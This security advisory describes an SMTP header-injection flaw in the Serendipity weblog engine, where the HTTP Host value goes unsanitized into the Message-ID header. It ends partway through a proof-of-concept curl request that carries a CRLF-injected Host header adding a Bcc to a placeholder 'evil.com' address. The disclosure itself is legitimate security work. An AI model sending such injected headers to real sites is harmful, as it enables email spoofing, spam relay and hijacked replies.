Serendipity is a PHP-powered weblog engine. In versions 2.6-beta2 and below, the email sending functionality in include/functions.inc.php inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without validation, and the existing sanitization function serendipity_isResponseClean() is not called on HTTP_HOST before embedding it. An attacker who can control the Host header during an email-triggering action such as comment notifications or subscription emails can inject arbitrary SMTP headers into outgoing emails. This enables identity spoofing, reply hijacking via manipulated Message-ID threading, and email reputation abuse through the attacker's domain being embedded in legitimate mail headers. This issue has been fixed in version 2.6.0.

Affected: Packagist: s9y/serendipity

### Summary Serendipity inserts `$_SERVER['HTTP_HOST']` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.

### Details In `include/functions.inc.php:548`: ```php $maildata['headers'][] = 'Message-ID: <' . bin2hex(random_bytes(16)) . '@' . $_SERVER['HTTP_HOST'] // ← unsanitized, attacker-controlled . '>'; ```

The existing sanitization function only blocks `\r\n` and URL-encoded variants: ```php function serendipity_isResponseClean($d) { return (strpos($d, "\r") === false && strpos($d, "\n") === false && stripos($d, "%0A") === false && stripos($d, "%0D") === false); } ```

Critically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.

Email is triggered by actions such as: - New comment notifications to blog owner - Comment subscription notifications to subscribers - Password reset emails (if configured)

### PoC ```bash # Trigger comment notification email with injected header curl -s -X POST \ -H "Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:" \ -d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1" \…